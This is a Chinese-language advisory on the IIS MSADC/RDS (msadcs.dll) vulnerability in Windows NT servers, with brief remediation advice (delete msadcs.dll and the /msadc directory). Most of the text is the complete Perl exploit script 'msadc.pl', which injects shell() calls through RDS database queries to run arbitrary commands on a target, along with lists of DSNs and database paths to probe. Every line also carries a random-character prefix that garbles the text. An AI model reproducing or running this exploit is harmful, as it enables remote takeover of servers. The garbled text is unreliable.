IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
]<*-pRN KjNA PfL 涉及程序：
/os,s[w Microsoft NT server
L"tzUYxg zMXQfR 描述：
|Zk2]eUO+ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
b]b+PK*h ~JS BZ@ 详细：
`tPVNO,l 如果你没有时间读详细内容的话，就删除:
(2 Z k fN c:\Program Files\Common Files\System\Msadc\msadcs.dll
[Qqomm.[\w 有关的安全问题就没有了。
3oOr*N3R 6E#znRi6IE 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
^~;"$=Wf 7|PB6h3 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
+^ DDWVp 关于利用ODBC远程漏洞的描述，请参看:
QnA~,z/ .w }n( ?| http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm .>a
[ {SkE`u4Sz 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
= inp>L http://www.microsoft.com/security/bulletins/MS99-025faq.asp o/6VOX #\ 8"d 这里不再论述。
ij,Rq`}l v&qL r+_7 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
2e9.U/9 }a% 1$>sj /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
EO`eg] 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
w,az{\ a D+4uGN a*&( cn #将下面这段保存为txt文件，然后: "perl -x 文件名"
T I|h ;pw9+zo ^M #!perl
fKW)h?.Kd #
E)`:sSd9 # MSADC/RDS 'usage' (aka exploit) script
P~M[i9 V #
#U(k K(uO # by rain.forest.puppy
`&9iC 4P #
Ms#rvn!J # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
p ,.6sk # beta test and find errors!
N%F4ug@i suS[P?4 use Socket; use Getopt::Std;
b Rc,Y < getopts("e:vd:h:XR", \%args);
n?778Wo} $XI.`L *g print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
M-Ek(K3SRf B@U'7` v if (!defined $args{h} && !defined $args{R}) {
q
B IekQT print qq~
\n`/?\r.z Usage: msadc.pl -h <host> { -d <delay> -X -v }
4T-"\tmg/ -h <host> = host you want to scan (ip or domain)
xnf J ruT -d <seconds> = delay between calls, default 1 second
uBl&{$< -X = dump Index Server path table, if available
? G`6}NP -v = verbose
)$ h !lAo -e = external dictionary file for step 5
J&iSS9c _X|prIOb= Or a -R will resume a command session
WvZt~x&2 c5_/i7 ~; exit;}
iu?gZVyka Bi2 c5[3 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
2qot(Zs1i if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
K3Bw3j 9 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
d'"|Qg_' if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
F{4v[WP) $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
U\u07^h[ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
ez5 J+ tpb lm|sW if (!defined $args{R}){ $ret = &has_msadc;
%fnG v\uI die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Y1ks'=c> W*Si"s2 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
o*Xfgc . "cmd /c ";
Cv@)tb $in=<STDIN>; chomp $in;
n.rn+nuwv $command="cmd /c " . $in ;
5DDSo0E VEp cCK if (defined $args{R}) {&load; exit;}
=Oq *9=v| T(q Tipq0 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
;: &|DN3; &try_btcustmr;
):_@ i =P%&]5ts print "\nStep 2: Trying to make our own DSN...";
;{aGEOP'U &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
`U=Jbdc l3 Af \ print "\nStep 3: Trying known DSNs...";
p="0Y<2l &known_dsn;
v2I? 5?j v<t?t<|J print "\nStep 4: Trying known .mdbs...";
e_|Z& &known_mdb;
)o<^6Ic%7 KIcIYCBz if (defined $args{e}){
sPG500=) print "\nStep 5: Trying dictionary of DSN names...";
qvLh7]sbK: &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
"%)g^Atp> KIi:5Y print "Sorry Charley...maybe next time?\n";
R*!s'R exit;
\ @ fKKb| < :Mz2 Rg ##############################################################################
@TQ/Z$y FZ?:BX^ sub sendraw { # ripped and modded from whisker
5.*,IedY sleep($delay); # it's a DoS on the server! At least on mine...
lKB 9n}P my ($pstr)=@_;
,z dGY]$ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
j !w{ die("Socket problems\n");
Gx8!AmeX if(connect(S,pack "SnA4x8",2,80,$target)){
y|)VNnWM select(S); $|=1;
}W'4(V;: print $pstr; my @in=<S>;
2l O(f+ select(STDOUT); close(S);
^86M 94k return @in;
zPc"r$'0 U } else { die("Can't connect...\n"); }}
h=0a9vIXF i%JJ+ 9N ##############################################################################
Ix6\5}.c 9 0ki- /{; sub make_header { # make the HTTP request
NhCucSU<K my $msadc=<<EOT
P1Z"}Qw POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
E* u *LMm User-Agent: ACTIVEDATA
!6 L! %Oi Host: $ip
1f<R,> Content-Length: $clen
:dh; @kp Connection: Keep-Alive
p<{P#?4 g OxYAM,F ADCClientVersion:01.06
[gpO?'~ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
gHp*QL\?9 F3EAjO)ch --!ADM!ROX!YOUR!WORLD!
+8C }%6aX Content-Type: application/x-varg
1C8xJ 6F Content-Length: $reqlen
n."n?C '{ |$b8(g$s) EOT
Z3weFbCH ; $msadc=~s/\n/\r\n/g;
IJ&Lk=2E] return $msadc;}
>7PQOQMW' MzX&|wimb ##############################################################################
=T,Q7Dh Sz@z
0' sub make_req { # make the RDS request
T{k_3[{0o my ($switch, $p1, $p2)=@_;
Gk{ ' U my $req=""; my $t1, $t2, $query, $dsn;
!9WGZfK+0Y gK QJ^a\! if ($switch==1){ # this is the btcustmr.mdb query
>]pZ ;e$ $query="Select * from Customers where City=" . make_shell();
9 e=}P L $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
L ?j0t*do $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
j(Lz& *4 P*A+k"DU1 elsif ($switch==2){ # this is general make table query
Yu\ $Y0 {] $query="create table AZZ (B int, C varchar(10))";
fJ[ ^_,O $dsn="$p1";}
m~5 unB9 s`_EkFw>Gl elsif ($switch==3){ # this is general exploit table query
h/t;ZLUAZP $query="select * from AZZ where C=" . make_shell();
$j .;$~F $dsn="$p1";}
1oej<67PdJ ) b #5rQ elsif ($switch==4){ # attempt to hork file info from index server
hq vhnqQk $query="select path from scope()";
V!+iq*Z| = $dsn="Provider=MSIDXS;";}
$C;i}q# }[;ZZm? elsif ($switch==5){ # bad query
8&G9 ?n`I5 $query="select";
9 L:wfg}8s $dsn="$p1";}
S(Af o` W|m(Jh[w] $t1= make_unicode($query);
46}U +> $t2= make_unicode($dsn);
AQUAQZc $req = "\x02\x00\x03\x00";
Tv DSs]) $req.= "\x08\x00" . pack ("S1", length($t1));
=^rt?F4 $req.= "\x00\x00" . $t1 ;
lc[6Mpi7s[ $req.= "\x08\x00" . pack ("S1", length($t2));
ywA vq T, $req.= "\x00\x00" . $t2 ;
(s,& ,I=@ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
ID2 ->J return $req;}
~ tA ^[tK FC] *^B ##############################################################################
.oyAi|| P|<V0
Vs. sub make_shell { # this makes the shell() statement
ZKXE7p
i return "'|shell(\"$command\")|'";}
P!W%KobZ7| q$:7j5E ##############################################################################
5_a j]"x k_,7#:+ sub make_unicode { # quick little function to convert to unicode
QQS*r}> my ($in)=@_; my $out;
=G:Krc8w@ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
|@u2/U9
return $out;}
O~*i_t*i9{ ~i"=:D ##############################################################################
F<,pAxl~@ 3p=Xv%xd sub rdo_success { # checks for RDO return success (this is kludge)
x(TF4W=j my (@in) = @_; my $base=content_start(@in);
ks0Q+YW if($in[$base]=~/multipart\/mixed/){
k9}8xpH return 1 if( $in[$base+10]=~/^\x09\x00/ );}
%=UD~5!G0 return 0;}
iAk:CJ{ 9jTBLp-i#N ##############################################################################
{Nl? [t?tLUg|6 sub make_dsn { # this makes a DSN for us
o'#& =h$_ my @drives=("c","d","e","f");
S&` 6pN print "\nMaking DSN: ";
gB'ajX=OA/ foreach $drive (@drives) {
y''~j<' print "$drive: ";
a yA; 6Qt my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
u2oS Ci "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
i wgt\ux. . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
e,xL~P{| $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
FM VAXOO return 0 if $2 eq "404"; # not found/doesn't exist
/y G34) aB if($2 eq "200") {
=HCEUB9Fs foreach $line (@results) {
-i`jS_-Cv- return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
.7.lr[$g } return 0;}
2T&MVl!% PY5 &Fwjc ##############################################################################
7#R)+ ~.W]x~X$ sub verify_exists {
~S/oW89 my ($page)=@_;
bFG~08Z ,d my @results=sendraw("GET $page HTTP/1.0\n\n");
idYB.]Y( return $results[0];}
eTa_R O,x @:}c(j ##############################################################################
y|6n:<o ^/ " }_bR sub try_btcustmr {
[<#j K}g my @drives=("c","d","e","f");
Op%OQ14$ my @dirs=("winnt","winnt35","winnt351","win","windows");
VvyRZMR kkq1:\pZ]a foreach $dir (@dirs) {
ab2FK print "$dir -> "; # fun status so you can see progress
=\O#F88ui foreach $drive (@drives) {
-{\(s=% print "$drive: "; # ditto
Keh =>K)T $reqlen=length( make_req(1,$drive,$dir) ) - 28;
>5 -1?vi $reqlenlen=length( "$reqlen" );
G4@r_VP \ $clen= 206 + $reqlenlen + $reqlen;
*D?_,s $X#y9<bW my @results=sendraw(make_header() . make_req(1,$drive,$dir));
<N vw*yA if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
1p}H,\o else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
oV vA`}
Z_q+Ac{p ##############################################################################
.^wpf S f!x 9% sub odbc_error {
Z A(u"T~ my (@in)=@_; my $base;
1,fR kQ
my $base = content_start(@in);
r^~+ <" if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
:0r ,.) $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
e=0]8l>\ V $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
zKd@Ab $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
sUG!dwqqd return $in[$base+4].$in[$base+5].$in[$base+6];}
3(Wijt H print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
2`4m"D tA print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
FgH7YkKrD $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
[[$C tqLg gHe:o` ##############################################################################
\V>5) R n 0vv~G\yM sub verbose {
}p ~2lOI my ($in)=@_;
l8oaDL\f return if !$verbose;
NI s 7v print STDOUT "\n$in\n";}
Mh)? A/e
]= ~dyi ##############################################################################
OS z71;j 8gS7$ EH' sub save {
8FuxN2 my ($p1, $p2, $p3, $p4)=@_;
).71gp@ & open(OUT, ">rds.save") || print "Problem saving parameters...\n";
iww/ s print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
'S_i6K close OUT;}
%hVR|K|J
RNk|h ##############################################################################
1{a%V$S[ DG;7+ 2U sub load {
C8-7XQ=B:b my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
oai=1vt@
open(IN,"<rds.save") || die("Couldn't open rds.save\n");
IbI0".o @p=<IN>; close(IN);
GKt."[seV $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
yqx 5_} $target= inet_aton($ip) || die("inet_aton problems");
4,)9@-|0R print "Resuming to $ip ...";
1 $&@wG $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
L_Ok?9$ if($p[1]==1) {
4' O,xC $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
bT ,_=7F $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
PT~htG<Fw my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
pkn^K+<n, if (rdo_success(@results)){print "Success!\n";}
/7UvV60 else { print "failed\n"; verbose(odbc_error(@results));}}
iXMJ1\!q\| elsif ($p[1]==3){
;XN|dq if(run_query("$p[3]")){
"8f4s|@ 3 print "Success!\n";} else { print "failed\n"; }}
yNvAT>H elsif ($p[1]==4){
QL7b<xDQC* if(run_query($drvst . "$p[3]")){
Tc^
0W=h print "Success!\n"; } else { print "failed\n"; }}
*~^63Nx! exit;}
0>{ ]* uVEJV |^/ ##############################################################################
27SHj9I RIMSXue*Ha sub create_table {
yx]9rD1cz my ($in)=@_;
:c/54Ss~ $reqlen=length( make_req(2,$in,"") ) - 28;
uBlPwb,V $reqlenlen=length( "$reqlen" );
*JJ8\ R&P0 $clen= 206 + $reqlenlen + $reqlen;
;5tOQ&p%v my @results=sendraw(make_header() . make_req(2,$in,""));
:{%[6lE^G return 1 if rdo_success(@results);
2^o7 ^S my $temp= odbc_error(@results); verbose($temp);
es)^^kGj6f return 1 if $temp=~/Table 'AZZ' already exists/;
` s7pM return 0;}
aw*]b.f DB|1Sqjsn ##############################################################################
^^b'tP1> .a@12J(I sub known_dsn {
V %8(zt # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
KsKE#])&l my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
r9ulTv}X "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
J
p?XV<3Z "banner", "banners", "ads", "ADCDemo", "ADCTest");
h.EI(Ev"GN E{\CE1* foreach $dSn (@dsns) {
cB uuq print ".";
r!Eh}0bL next if (!is_access("DSN=$dSn"));
w ,j*I7V if(create_table("DSN=$dSn")){
mh3S?Uc print "$dSn successful\n";
ZO< ,V if(run_query("DSN=$dSn")){
`DYhGk print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
S`kOtZ_N n print "Something's borked. Use verbose next time\n";}}} print "\n";}
P7 3GH qX@e+&4P0 ##############################################################################
QY;(Ny/(y !UoA6C: sub is_access {
D {+@ ,C7B my ($in)=@_;
a3yNd
$reqlen=length( make_req(5,$in,"") ) - 28;
<\#' o} $reqlenlen=length( "$reqlen" );
*)E${\1' < $clen= 206 + $reqlenlen + $reqlen;
d"FB+$ my @results=sendraw(make_header() . make_req(5,$in,""));
'ZF6 Z9 my $temp= odbc_error(@results);
KL_ /f verbose($temp); return 1 if ($temp=~/Microsoft Access/);
!y d B,S return 0;}
R #wZW&N n#">k%bD ##############################################################################
2d .$V,U< *Ypn@YpSp sub run_query {
t;o\"H my ($in)=@_;
@;4;72 @O $reqlen=length( make_req(3,$in,"") ) - 28;
=dAAb\: $reqlenlen=length( "$reqlen" );
Ih.+-!w $clen= 206 + $reqlenlen + $reqlen;
AX v
q~XE my @results=sendraw(make_header() . make_req(3,$in,""));
uyYV_Q0~; return 1 if rdo_success(@results);
Qf~>5(,h my $temp= odbc_error(@results); verbose($temp);
V}s/knd return 0;}
_.JQ h :BPgDLL, ##############################################################################
Eg)24C R 4 (%B{=w}8 sub known_mdb {
H\>{<`sD;f my @drives=("c","d","e","f","g");
@AZNF+
\W$ my @dirs=("winnt","winnt35","winnt351","win","windows");
yI^Yh{
my $dir, $drive, $mdb;
!,`'VQw$ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
:H&Q!\a uz!8=,DFw # this is sparse, because I don't know of many
p7|I>8ur. my @sysmdbs=( "\\catroot\\icatalog.mdb",
d'';0[W) "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
X~r9yl> "\\system32\\certmdb.mdb",
1
m'.wh| "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
)-4c@ MZt#T+b my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
:`N&BV "\\cfusion\\cfapps\\forums\\forums_.mdb",
TanWCt4r "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
hQ|mow@Zmz "\\cfusion\\cfapps\\security\\realm_.mdb",
5k 0iVpjQ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
xrg"/?84 "\\cfusion\\database\\cfexamples.mdb",
eke [{%L "\\cfusion\\database\\cfsnippets.mdb",
Cu+p!hV "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
{]dx Fhe) "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
3=
=["hO "\\cfusion\\brighttiger\\database\\cleam.mdb",
?,$:~O* w "\\cfusion\\database\\smpolicy.mdb",
d~<$ J9% "\\cfusion\\database\cypress.mdb",
;KQU%
k$ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
S( PV*e8 "\\website\\cgi-win\\dbsample.mdb",
J@-'IJ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
??/b I~Sd "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
zx$YNjeV ); #these are just
b\"F6TF: foreach $drive (@drives) {
M+&~sX*a foreach $dir (@dirs){
RnH?95n?{ foreach $mdb (@sysmdbs) {
Xe);LhDC print ".";
Y~}MfRE3z if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
LLgw1 @-D print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
No7-fX1B if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
9Kd=GL_ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
8ae`V!5 } else { print "Something's borked. Use verbose next time\n"; }}}}}
c[-N A 7rd mj[vu foreach $drive (@drives) {
Nr*l3Z>LD foreach $mdb (@mdbs) {
&| (K#|^@ print ".";
"pDU v^ie if(create_table($drv . $drive . $dir . $mdb)){
;T^s&/>E print "\n" . $drive . $dir . $mdb . " successful\n";
={B C0, if(run_query($drv . $drive . $dir . $mdb)){
|5vJ:'` I print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
hrKeOwKHU } else { print "Something's borked. Use verbose next time\n"; }}}}
8]#FvgX }
25OQY.>bE +t,b/ K(?] ##############################################################################
4 ?BQ&d eX" %b(;s sub hork_idx {
e`0C0 GaP print "\nAttempting to dump Index Server tables...\n";
XNa{_3v print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
q?LOtN? o $reqlen=length( make_req(4,"","") ) - 28;
1`?o#w $reqlenlen=length( "$reqlen" );
b]u=I za $clen= 206 + $reqlenlen + $reqlen;
r%;|gIky my @results=sendraw2(make_header() . make_req(4,"",""));
Y7S1^'E
3 if (rdo_success(@results)){
^KbR@Ah my $max=@results; my $c; my %d;
- -]blP7 for($c=19; $c<$max; $c++){
9Z -2 MF $results[$c]=~s/\x00//g;
5J`w8[; $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
%X_A# 9 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
X uP%/\ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
W"%n5) $d{"$1$2"}="";}
GAfc9 foreach $c (keys %d){ print "$c\n"; }
W7!Rf7TK } else {print "Index server doesn't seem to be installed.\n"; }}
I q|'#h s 2(d ##############################################################################
UwW@}cy,L ;jgf,fbM sub dsn_dict {
pBAA wHD open(IN, "<$args{e}") || die("Can't open external dictionary\n");
`RY}g; while(<IN>){
N-l`U(Z~P $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
;y-JR$M next if (!is_access("DSN=$dSn"));
L$Z! if(create_table("DSN=$dSn")){
Nd( I RsH( print "$dSn successful\n";
rT R$\ [C if(run_query("DSN=$dSn")){
\Hb!<m rp print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
;I 5 P<7VW print "Something's borked. Use verbose next time\n";}}}
jIaaNO) print "\n"; close(IN);}
/cClV" S*G N%Bl+7,q ##############################################################################
B\
'rxbH h_ t`)]- sub sendraw2 { # ripped and modded from whisker
-|'@ :cIZ sleep($delay); # it's a DoS on the server! At least on mine...
-Jd 7 my ($pstr)=@_;
Z+V%~C1 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
o x SSEs die("Socket problems\n");
1R_@C.I if(connect(S,pack "SnA4x8",2,80,$target)){
w&IYCYK_ print "Connected. Getting data";
O\7x+^. open(OUT,">raw.out"); my @in;
Q7u|^Gu,5 select(S); $|=1; print $pstr;
6c+29@ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
Pac ^=|h<q close(OUT); select(STDOUT); close(S); return @in;
t!wbT79/ } else { die("Can't connect...\n"); }}
9L7z<ntn X(Af`KOg[ ##############################################################################
6Zpa[,g m "6]oi*_8 sub content_start { # this will take in the server headers
G739Ne[gL my (@in)=@_; my $c;
G9x l-ag+z for ($c=1;$c<500;$c++) {
iAe"oXK| if($in[$c] =~/^\x0d\x0a/){
"`K_5"F if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
#reR<qp&] else { return $c+1; }}}
+ _ehzo97 return -1;} # it should never get here actually
12i` 82>; k|x mZA* ##############################################################################
Dz hLb8k T} \>8EEG sub funky {
_ 9D]1f=& my (@in)=@_; my $error=odbc_error(@in);
3T(f t^~ if($error=~/ADO could not find the specified provider/){
HpbwW=;V print "\nServer returned an ADO miscofiguration message\nAborting.\n";
3^Is4H_8 exit;}
+Q"s!\5 if($error=~/A Handler is required/){
R;AcAJ; print "\nServer has custom handler filters (they most likely are patched)\n";
7/&t aw%i exit;}
yq, qS0Fo if($error=~/specified Handler has denied Access/){
.z
CkB86 print "\nServer has custom handler filters (they most likely are patched)\n";
5<X"+`=9 exit;}}
) j]f
]8 j^/<:e c. ##############################################################################
f`vWCb ^Zpz@T>m sub has_msadc {
Mb_"M7 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
% A
5s?J? my $base=content_start(@results);
Q~^v=ye return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
&hVf= We return 0;}
,P`:`XQ>_B [)} `w;# ########################
=WF @S1 Fu?_<G%Ynp
w)go79 解决方案：
c 9gm% 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
Lniz>gSc 2、移除web 目录: /msadc
